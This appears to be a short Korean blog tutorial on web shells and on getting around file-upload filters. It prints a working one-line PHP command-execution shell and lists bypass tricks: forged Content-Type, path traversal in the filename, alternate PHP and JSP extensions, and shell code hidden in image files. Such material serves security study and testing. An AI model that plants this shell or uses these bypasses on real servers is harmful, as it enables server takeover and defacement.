WebShell 정리와 우회 방법

 

 

 

WebShell 이란

파일 업로드를 통해 공격자가 임의 파일을 업로드하면 서버를 장악할 수 있습니다.

파일을 업로드할 수 있는 곳에서 취약점이 발생할 수 있습니다.

 

 

파일 업로드로 할 수 있는 것

1. 서버를 장악하는 공격이기 때문에 뭐든지 할 수 있습니다.

2. 피싱 페이지를 해당 도메인에 만들 수 있습니다.

3. 메인 페이지를 바꾸어 버릴 수 있습니다.

4. 크로스 사이트 스크립팅 Stored XSS 을 쉽게 삽입할 수 있습니다.

5. Dos 공격할 수 있습니다.

 

 

Web Shell 코드

<?php
    echo system($_GET['cmd']);
?>

http://example.com/webshell.php?cmd=  이런 식으로 명령을 실행할 수 있습니다.

php 기반 서버인 경우이고 해당 서버 언어에 맞게 파일 이름과 코드를 변경해서 사용할 수 있습니다.

 

 

Web Shell 우회 방법

1. MIME 검사하는 경우 Content-Type 을 바꿔서 요청을 보내볼 수 있습니다.

2. 업로드는 되는데 해당 디렉터리에 실행 권한이 없는 경우 filename=”..%2fwebshell.php” 이렇게 다른 디렉터리로 업로드할 수 있습니다.

3. php 확장자 검사하는 경우 대소문자 구분하거나 (phP, Php, PhP) 다른 확장자 사용합니다. (phtml, php3, php4, php5)

4. jsp의 경우 (jspx, jsw) 가장 많이 사용한다고 합니다.

5. 파일 시그니처 활용 : 이미지 파일을 열고 hex 값 마지막이나 중간에 웹쉘 코드를 삽입 후 php 파일로 확장자를 변경해 우회할 수도 있습니다.

 

 

Web Shell 우회 안되는 방법

1. webshell.png 이런 거는 서버에서 실행할 수 없기 때문에 안됩니다.

2. webshell.php.png 이런 거도 안됩니다.

 

 

 

 

 

답글 남기기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다